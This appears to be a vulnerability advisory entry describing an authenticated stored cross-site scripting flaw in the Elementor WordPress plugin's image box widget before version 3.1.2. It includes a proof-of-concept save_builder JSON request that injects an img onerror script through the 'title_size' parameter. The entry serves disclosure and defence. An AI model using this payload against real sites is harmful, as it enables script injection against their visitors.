Lucene search

K
wpvulndbRamuel GallWPVDB-ID:2F66EFD9-7D55-4F33-9109-3CB583A0C309
HistoryMar 17, 2021 - 12:00 a.m.

Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Image Box Widget

2021-03-1700:00:00
Ramuel Gall
wpscan.com
6

0.001 Low

EPSS

Percentile

21.8%

In the plugin, the image box widget (includes/widgets/image-box.php) accepts a ‘title_size’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request containing JavaScript in the ‘title_size’ parameter, which is not filtered and is output without escaping. This JavaScript will then be executed when the saved page is viewed or previewed.

PoC

{“save_builder”:{“action”:“save_builder”,“data”:{“status”:“pending”,“elements”:[{“id”:“e99c2ff”,“elType”:“section”,“isInner”:false,“settings”:{},“elements”:[{“id”:“a776088”,“elType”:“column”,“isInner”:false,“settings”:{“_column_size”:100,“_inline_size”:null},“elements”:[{“id”:“b410fd3”,“elType”:“widget”,“isInner”:false,“settings”:{“title_text”:“This is the heading”,“description_text”:“blah”,“title_size”:“img src="" onerror="alert(3);"”},“elements”:[],“widgetType”:“image-box”}]}]}],“settings”:{“post_title”:“imageboxpoc attr”,“post_status”:“pending”}}}}

CPENameOperatorVersion
elementorlt3.1.4

0.001 Low

EPSS

Percentile

21.8%

Related for WPVDB-ID:2F66EFD9-7D55-4F33-9109-3CB583A0C309